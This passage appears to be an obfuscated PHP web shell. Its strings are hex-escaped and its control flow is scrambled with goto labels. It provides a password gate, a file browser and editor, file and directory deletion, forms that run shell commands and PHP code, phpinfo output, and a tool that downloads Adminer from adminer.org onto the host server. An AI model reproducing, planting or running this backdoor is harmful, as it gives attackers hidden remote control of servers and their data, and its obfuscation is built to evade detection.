"\x3c\160\x20\151\x64\75\x22\x6e\156\42\76\105\x72\162\157\162\40\117\160\x65\156\x69\156\x67\x20\106\151\x6c\x65\74\x2f\x70\x3e"; goto rQn2r; jjGG6: goto vCWkT; goto c7etR; kGabf: $Nnn2T = $_GET["\146"]; goto o3rZI; h2RNi: tsCuw: goto q3dwf; qR5pP: foreach ($zDxPQ as $gjck_) { print htmlspecialchars($gjck_); ctZlZ: } goto XNB0f; ntsrI: $zDxPQ = file($_GET["\146"]); goto qR5pP; spPmM: if (!file_exists($_GET["\146"])) { goto obeqS; } goto ntsrI; rQn2r: fwrite($tgcC_, $_POST["\145\144\151\x74\x5f\x66\x6f\x72\x6d"]) or print "\74\x70\40\151\x64\75\42\x6e\x6e\x22\x3e\x43\x6f\165\x6c\144\x6e\47\164\x20\x53\x61\x76\145\x20\106\151\x6c\x65\x3c\57\x70\x3e"; goto mnWsM; XNB0f: p3gah: goto mxftz; VmbT0: print "\x3c\x2f\x74\145\170\164\141\x72\145\141\x3e\x3c\57\142\162\x3e\x3c\x2f\142\x72\x3e\x3c\151\x6e\x70\165\x74\40\164\x79\x70\145\x3d\x22\163\x75\142\x6d\151\x74\x22\x20\166\x61\x6c\165\x65\75\x22\x53\x61\x76\145\42\x20\151\x64\75\42\163\x76\x22\76\x3c\x2f\x66\157\162\155\x3e\x3c\57\143\145\x6e\x74\x65\x72\76"; goto jjGG6; q3dwf: print "\74\143\x65\x6e\164\145\162\x3e\x3c\160\x3e\x45\144\151\x74\151\156\147\40" . $_GET["\x66"] . "\x20\50" . JtBl3($_GET["\144"] . $_GET["\x66"]) . "\51\40\56\x3c\57\160\76\74\x2f\142\x72\76\74\x2f\x62\162\76\74\146\157\x72\x6d\x20\x61\x63\164\x69\x6f\x6e\x3d\x22\x3f\x78\75\x63\46\x64\x3d" . realpath("\x2e") . "\x26\146\x3d" . $_GET["\146"] . "\42\40\155\145\x74\x68\x6f\x64\x3d\42\x50\x4f\x53\x54\42\x3e\74\164\145\x78\164\141\x72\145\141\x20\143\x6f\x6c\163\75\71\60\40\x72\x6f\167\x73\x3d\61\65\x20\x6e\141\155\x65\75\42\145\x64\x69\164\x5f\x66\x6f\162\155\42\40\151\144\75\42\x65\144\x69\164\x22\x3e"; goto spPmM; NFjxw: if (!isset($_POST["\145\x64\151\164\137\x66\x6f\x72\155"])) { goto tsCuw; } goto kGabf; c7etR: case "\x63\x6d\144": goto IyLuo; IyLuo: print "\74\57\142\x72\x3e\x3c\57\142\162\76\74\143\x65\156\164\145\x72\76\x3c\150\x33\x3e\x45\170\x65\143\165\164\x65\x20\103\x6f\155\x6d\x61\156\x64\74\x2f\x68\x33\76\74\x66\157\x72\155\x20\x61\143\164\x69\157\156\75\x22\77\170\75\x63\x6d\x64\x26\x64\75" . realpath("\56") . "\x22\x20\x6d\145\x74\150\x6f\144\75\x22\120\117\123\x54\42\76\x3c\151\156\160\x75\164\x20\x74\171\x70\145\x3d\x22\164\x65\x78\x74\42\40\x76\141\154\165\145\x3d\x22\42\40\x6e\141\155\x65\75\42\x63\155\x64\42\40\x69\144\x3d\42\x6c\x74\42\76\40\x20\x3c\x69\156\x70\165\164\40\164\x79\x70\145\x3d\x22\x73\x75\142\x6d\151\x74\x22\x20\x76\x61\154\165\x65\x3d\x22\107\157\x22\40\151\x64\75\42\154\x74\42\x3e\x3c\57\146\x6f\162\x6d\x3e\x3c\57\x62\x72\x3e\x3c\x74\145\x78\x74\141\x72\x65\x61\40\143\157\x6c\163\x3d\71\60\40\x72\x6f\167\163\75\61\x35\40\x69\x64\x3d\42\x65\x64\151\164\x22\76"; goto ai_8_; Fo4Lg: $CpUWl = $_POST["\x63\155\144"]; goto cZ5Nt; cZ5Nt: XFXFf(Ard00(), $CpUWl); goto VmP8U; VmP8U: He1eW: goto A_WlH; A_WlH: print "\x3c\57\164\145\x78\164\x61\x72\145\141\x3e\x3c\x2f\x63\x65\156\164\x65\x72\x3e"; goto nvnsj; nvnsj: goto vCWkT; goto y3vyo; ai_8_: if (!isset($_POST["\143\x6d\144"])) { goto He1eW; } goto Fo4Lg; y3vyo: case "\x70\150\x70": goto K2NLp; K2NLp: print "\74\57\x62\x72\x3e\x3c\57\142\162\x3e\74\x63\x65\x6e\x74\x65\162\76\74\150\x33\x3e\120\110\120\x20\103\x6f\144\x65\74\57\x68\63\x3e\74\146\x6f\162\x6d\40\141\x63\164\151\157\x6e\75\77\x78\x3d\160\x68\x70\46\144\x3d\x22" . realpath("\56") . "\42\x20\155\145\x74\150\157\144\x3d\42\120\x4f\x53\x54\42\x3e\x3c\151\156\160\x75\164\40\x74\171\160\145\75\x22\x74\145\x78\x74\x22\x20\x76\141\154\165\x65\x3d\42\x22\x20\156\x61\x6d\x65\75\x22\160\143\x6f\x64\145\x22\40\151\144\75\x22\x6c\164\42\76\x20\74\x69\x6e\160\165\x74\x20\x74\x79\160\x65\x3d\x22\163\165\142\155\x69\x74\42\x20\166\x61\x6c\x75\x65\75\42\107\157\42\40\x69\x64\75\42\x6c\x74\x22\76\x3c\x2f\146\157\x72\x6d\x3e\x3c\x2f\142\162\76\74\x74\x65\x78\x74\141\162\x65\141\40\143\157\x6c\x73\75\x39\60\40\162\157\167\163\x3d\x31\65\x20\x69\x64\x3d\42\x65\144\x69\x74\x22\x3e"; goto cc8uJ; cc8uJ: print "\74\x2f\164\x65\170\x74\x61\162\145\141\x3e\74\x2f\x63\145\156\164\145\162\x3e"; goto z53ov; z53ov: goto vCWkT; goto SVgXL; SVgXL: case "\160\150\x70\151\156\146": phpinfo(); goto vCWkT; case "\x71": goto oC3OO; SJUAv: goto vCWkT; goto dd39V; oC3OO: setcookie($P0o4I, '', time() - 3600); goto WC7Qi; WC7Qi: zWalw(); goto SJUAv; dd39V: case "\x74\x6f\x6f\154\x73": goto PSX_1; HVnrI: print "\x3c\x75\x6c\x3e"; goto nLTli; CV68m: Lot44: goto DKeiY; OSqpc: goto vCWkT; goto cHsD1; tSZO9: Tt9PE: goto ZUgcG; rsdq0: $M7XBo = $s6Uy2[$BfLkp]; goto AVa0w; DKeiY: $BfLkp = $_GET["\146\151\x6c\145"]; goto rsdq0; ZUgcG: print "\74\57\x63\145\x6e\164\145\162\x3e"; goto OSqpc; MblDg: eEVEJ: goto tSZO9; sIId2: if ($W4RVQ !== false) { goto WSfIN; } goto X00Qj; T9p7E: print "\74\160\x3e" . $BfLkp . "\x20\144\x6f\x77\x6e\x6c\157\x61\144\x65\x64\x20\163\165\143\x63\145\x73\x73\146\x75\x6c\x6c\x79\x2e\x20\131\x6f\x75\x20\x63\x61\156\40\146\151\x6e\144\40\x69\164\x20\74\141\x20\150\x72\x65\x66\75\42" . $baTcc . "\42\x3e\x68\x65\162\145\x3c\x2f\x61\x3e\x2e\x3c\x2f\x70\76"; goto MblDg; PSX_1: print "\x3c\x2f\142\162\x3e\74\57\142\x72\76\x3c\57\x62\x72\76\74\143\x65\x6e\164\x65\x72\x3e\74\x68\61\x20\151\144\x3d\42\156\x6d\42\76\x54\157\157\x6c\163\74\x2f\x68\x31\x3e"; goto pT1mk; AVa0w: $baTcc = basename($M7XBo); goto YFf7Y; nLTli: foreach ($s6Uy2 as $gQePm => $m3_bB) { print "\x3c\x6c\x69\x3e\x3c\141\x20\150\162\145\146\75\x22\x3f\170\75\x74\157\157\x6c\163\x26\x66\x69\154\x65\x3d" . urlencode($gQePm) . "\x22\76" . $gQePm . "\x3c\x2f\x61\x3e\x3c\x2f\x6c\151\76"; TAJs2: } goto dQBrc; n8C9G: WSfIN: goto T9p7E; YFf7Y: $TlYV9 = dirname(__FILE__) . "\x2f" . $baTcc; goto WE2X4; X00Qj: print "\x3c\x70\76\106\x61\x69\x6c\x65\144\40\x74\x6f\x20\x64\x6f\167\156\x6c\x6f\x61\x64\x20" . $BfLkp . "\x2e\74\57\x70\x3e"; goto hDlOK; pT1mk: $s6Uy2 = ["\x41\x64\155\x69\x6e\x65\162" => "\150\x74\x74\x70\163\x3a\57\57\x77\167\167\x2e\141\144\x6d\151\156\145\162\x2e\x6f\x72\x67\x2f\154\141\164\145\163\164\56\160\x68\x70"]; goto cU6Gg; cU6Gg: if (isset($_GET["\x66\x69\x6c\145"]) && isset($s6Uy2[$_GET["\146\x69\154\145"]])) { goto Lot44; } goto KErs9; hDlOK: goto eEVEJ; goto n8C9G; ZPThx: goto Tt9PE; goto CV68m; KErs9: print "\x3c\160\x3e\x50\x6c\145\x61\163\145\40\x73\x65\x6c\x65\143\x74\40\141\x20\146\x69\154\x65\x20\x74\x6f\x20\x64\x6f\167\x6e\x6c\x6f\x61\x64\72\74\x2f\x70\76"; goto HVnrI; hlOZW: print "\74\x2f\165\x6c\x3e"; goto ZPThx; WE2X4: $W4RVQ = file_put_contents($TlYV9, file_get_contents($M7XBo)); goto sIId2; dQBrc: zC2jR: goto hlOZW; cHsD1: } goto JeN5N; lHOPj: if (!isset($_POST["\160\x61\163\163"])) { goto rG1q4; } goto joLY4; b5T1W: print "\74\160\40\x69\144\x3d\42\142\143\x6b\x22\x3e\x3c\x61\40\150\162\145\x66\75\x22\x3f\144\75" . realpath("\56") . "\42\x3e\102\101\x43\113\74\x2f\141\76\74\x2f\160\76"; goto lYu95; mtEAx: $gjck_ = readdir($P2tZg); goto CvZn0; py7L6: $RzZIO = "\x3c\143\145\x6e\x74\145\162\76\74\160\x20\151\144\x3d\x22\155\x65\156\x75\x22\76\x3c\x73\x70\141\x6e\40\x69\144\x3d\x22\x6d\x65\156\165\x42\42\76\x3c\74\x61\x20\150\162\x65\x66\75\42" . $smU6v . "\x22\x3e\x48\157\x6d\145\74\57\x61\x3e\76\x20\x3c\x3c\141\x20\x68\162\145\146\75\42\x3f\x78\x3d\143\155\x64\x26\x64\x3d" . realpath("\56") . "\x22\76\103\157\155\155\141\x6e\x64\74\x2f\x61\76\x3e\40\74\x3c\141\40\x68\162\x65\146\75\42\x3f\170\75\x70\150\160\46\144\x3d" . realpath("\56") . "\x22\x3e\120\x48\x50\x3c\x2f\x61\x3e\x3e\x20\x3c\x3c\141\40\150\x72\x65\x66\75\x22\x3f\170\75\x74\157\x6f\154\163\42\76\124\x6f\x6f\x6c\163\x3c\x2f\x61\76\76\x20\x3c\x3c\141\x20\150\162\x65\x66\x3d\x22\77\170\x3d\161\42\x3e\x4c\x6f\147\157\165\x74\x3c\57\141\x3e\x3e\x20\x3c\57\163\x70\x61\156\76\x3c\x2f\160\x3e\74\57\143\x65\x6e\164\145\x72\x3e"; goto M6ANb; DjtHr: function MV3EE($BSY3e) { goto LBHRW; O53VH: nuJmg: goto Eu1Be; NwQMb: goto nuJmg; goto YR691; AF_qq: $BSY3e /= 1024; goto Euz1p; Euz1p: $bnIMQ++; goto NwQMb; YR691: LNDfr: goto X1v_3; LBHRW: $WJ1Tk = array("\102", "\113\102", "\x4d\x42", "\107\102", "\x54\x42"); goto YIIWH; Eu1Be: if (!($BSY3e >= 1024)) { goto LNDfr; } goto AF_qq; YIIWH: $bnIMQ = 0; goto O53VH; X1v_3: return round($BSY3e, 2) . "\x20" . $WJ1Tk[$bnIMQ]; goto cClBm; cClBm: } goto rc1wX; fodQL: $fkqzQ = $_GET["\x6e\144\x69\x72"]; goto KLQ4d; OYmk4: if (!isset($_GET["\144"])) { goto I7E6z; } goto UurRZ; Ai1mQ: $P2tZg = $_GET["\144\146"]; goto qnvfm; UurRZ: chdir($_GET["\144"]); goto wlIg0; dGDdn: function Sa2jQ() { goto Nr2YR; Qloqu: frxOO: goto Dzp85; XKE8V: pj1Op: goto h2MHQ; Dzp85: return "\105\x6e\141\x62\154\x65\144"; goto XKE8V; IV2B4: return "\x44\x69\x73\141\x62\154\x65\x64"; goto Wtxsv; Wtxsv: goto pj1Op; goto Qloqu; Nr2YR: if (function_exists("\x54\x54\150\x55\x35")) { goto frxOO; } goto IV2B4; h2MHQ: } goto DjtHr; w8_qC: print "\x3c\x74\x72\x20\151\144\x3d\42\146\x6e\x22\x3e\74\164\144\x3e\74\141\40\150\162\x65\146\75\42\77\x78\x3d\143\46\144\75" . realpath("\56") . "\46\x66\x3d" . $gjck_ . "\42\x3e" . $gjck_ . "\x3c\x2f\x61\76\74\x2f\x74\144\x3e\74\164\144\x3e" . jTbl3(realpath("\x2e") . DIRECTORY_SEPARATOR . $gjck_) . "\74\x2f\164\144\76\74\164\144\76\74\141\x20\x68\162\x65\x66\75\42\77\x64\x65\154\146\75" . realpath("\56") . DIRECTORY_SEPARATOR . $gjck_ . "\x22\76\104\145\154\145\x74\x65\x3c\57\x61\x3e\74\57\x74\144\x3e\74\164\144\76\x3c\x61\x20\x68\x72\145\146\x3d\x22\x3f\x78\75\143\46\144\75" . realpath("\x2e") . DIRECTORY_SEPARATOR . $gjck_ . "\x22\x3e\x45\x64\151\164\x3c\x2f\141\76\x3c\x2f\x74\144\x3e\74\57\164\x72\76"; goto ZQuou; LcOe3: print "\74\x70\40\x61\154\x69\x67\x6e\x3d\42\143\x65\156\164\145\162\42\40\151\x64\75\x22\x63\x70\x22\x3e" . nnam6('') . "\74\57\x70\76"; goto c0J7v; SAGvw: goto tYfyV; goto N7cdB; bPmZb: Q418N: goto CpCx1; gys12: rG1q4: goto dJjBf; UJJ02: swjns: goto W6pF0; MFn3P: $xZTDQ = "\43\63\x33\x33\x33\63\x33"; goto Y3MMO; ZQuou: snEKv: goto mtEAx; wSUBA: if (!isset($_GET["\x63\150"])) { goto mT5eY; } goto aVRj0; WTIpO: $Ml38_ = get_current_user() . "\x20\x75\x69\144\72" . getmyuid() . "\40\147\x69\144\x3a" . getmygid(); goto WPkVg; WPkVg: $yP38E = ini_get("\163\x61\146\x65\x5f\x6d\157\x64\x65"); goto MJTX6; dJjBf: if (!(!empty($S8GJ1) && (!isset($_COOKIE[$P0o4I]) || $_COOKIE[$P0o4I] != $S8GJ1))) { goto ZEht2; } goto UBeyC; JeN5N: Dg8UP: goto pYbPt; uuvqY: L3J2u: goto Q215G; myg_B: function FYg1U() { goto OXMhd; btayH: Zni8b: goto S2wLN; nseW5: return "\x4f\x46\x46"; goto P_wf9; Ijzzv: SfdxU: goto YdtPa; P_wf9: goto Zni8b; goto Ijzzv; OXMhd: if (function_exists("\x73\162\110\x33\x6a") && sRh3j()) { goto SfdxU; } goto nseW5; YdtPa: return "\117\x4e"; goto btayH; S2wLN: } goto Am4C8; Y3MMO: $nSlOI = "\x23\71\71\x39\x39\71\71"; goto f4sdJ; G9cr2: print $RzZIO; goto JU0pI; ep_Lp: error_reporting(0); goto Tu8tx; or2vg: $fkqzQ = $_POST["\x6e\145\167"]; goto bdfu4; LbEgC: tYfyV: goto WWZN2; vG9Yt: $JM9n0 = $_SERVER["\x53\x45\x52\x56\105\x52\x5f\x53\117\x46\x54\x57\101\122\105"]; goto eIuXJ; mcvR4: function dd7rO() { $bXarx = "\xd\12\40\40\40\x20\x3c\164\141\x62\x6c\145\x20\x62\x6f\162\144\x65\x72\x3d\42\60\x22\40\167\x69\144\164\150\75\42\61\x30\x30\x25\x22\40\x68\145\x69\x67\150\164\x3d\x22\x31\x30\60\45\x22\x20\x61\x6c\151\x67\x6e\75\42\x63\x65\156\164\x65\162\x22\x20\163\164\171\x6c\145\x3d\42\x62\141\x63\153\x67\162\x6f\165\x6e\x64\x3a\x23\x33\x33\63\63\x33\63\x3b\x63\157\x6c\157\x72\x3a\163\x69\x6c\x76\x65\x72\x3b\x22\76\xd\12\x20\40\x20\40\40\x20\40\x20\74\x74\162\76\xd\xa\40\40\40\40\40\40\x20\40\x20\x20\40\x20\x3c\164\144\40\x76\x61\154\151\x67\x6e\75\42\155\151\x64\x64\154\145\42\76\15\xa\40\x20\40\x20\40\x20\40\x20\40\x20\40\x20\x20\40\40\40\x3c\143\x65\156\x74\145\162\x3e\xd\xa\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\40\x20\40\x20\x20\40\x20\74\146\157\x72\155\x20\x61\x63\x74\x69\157\156\75\x22\x22\40\x6d\145\x74\150\x6f\x64\x3d\42\120\117\123\x54\x22\76\xd\xa\40\40\40\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\40\x3c\x6c\141\x62\145\x6c\x20\x66\157\x72\75\x22\160\x61\x73\163\x22\76\120\x61\x73\163\x77\x6f\162\144\x3a\74\57\154\141\x62\145\154\76\xd\xa\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x3c\151\x6e\x70\165\x74\40\164\171\160\x65\x3d\x22\160\141\x73\x73\167\157\162\x64\x22\40\155\141\170\154\x65\156\147\164\150\x3d\x22\61\60\x22\40\156\x61\155\x65\x3d\x22\160\141\163\x73\x22\40\x73\x74\171\154\145\75\42\142\141\x63\153\147\x72\x6f\x75\156\x64\x3a\43\63\63\x33\63\x33\x33\73\x63\157\x6c\x6f\x72\x3a\163\x69\154\166\145\162\73\142\x6f\x72\x64\x65\162\55\162\x61\144\151\x75\x73\x3a\61\60\x70\x78\x3b\142\157\x72\144\145\x72\x3a\61\x70\170\x20\163\x6f\154\151\144\40\163\151\x6c\x76\145\162\x3b\164\145\170\164\x2d\x61\154\151\x67\x6e\x3a\x63\145\x6e\x74\145\162\x3b\x22\76\xd\12\40\x20\40\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\40\x20\40\74\151\156\160\165\164\40\164\x79\160\145\x3d\42\x73\x75\x62\155\x69\x74\42\40\166\x61\154\x75\x65\75\x22\x3e\x3e\42\x20\x73\x74\171\154\145\75\x22\142\x61\x63\x6b\147\162\157\165\x6e\x64\72\43\x33\63\63\x33\63\x33\x3b\143\157\154\x6f\162\x3a\163\x69\154\166\x65\162\73\x62\157\x72\144\145\x72\55\x72\141\144\151\165\163\72\x31\x30\160\170\x3b\142\157\x72\144\145\162\x3a\x31\x70\x78\40\x73\157\154\x69\x64\40\x73\x69\154\x76\x65\x72\73\42\76\xd\xa\x20\x20\40\x20\x20\40\40\40\x20\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x3c\57\x66\x6f\162\x6d\76\xd\xa\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\74\x2f\x63\x65\x6e\164\x65\162\x3e\15\xa\x20\x20\40\x20\x20\40\x20\x20\40\40\40\40\x3c\x2f\x74\144\x3e\15\xa\x20\x20\x20\40\40\x20\40\x20\74\x2f\164\x72\76\xd\xa\40\x20\x20\40\74\x2f\x74\141\x62\154\x65\76\xd\xa\40\40\x20\x20"; echo $bXarx; } goto bnRRa; HhExg: print "\74\57\164\141\x62\x6c\x65\76"; goto SAGvw; qcRtq: rmdir($P2tZg); goto Gw3LK; yNNpV: function wKNZx() { goto ATSi7; AXUJT: return "\117\x4e"; goto giuQh; iGDXb: C0dGs: goto AXUJT; SVfKl: goto sd8os; goto iGDXb; ATSi7: if (ini_get("\x72\x65\147\151\163\164\145\x72\x5f\147\x6c\x6f\x62\x61\x6c\x73")) { goto C0dGs; } goto u113d; u113d: return "\117\x46\x46"; goto SVfKl; giuQh: sd8os: goto NWWJ1; NWWJ1: } goto coYuo; rc1wX: print $nuuFj;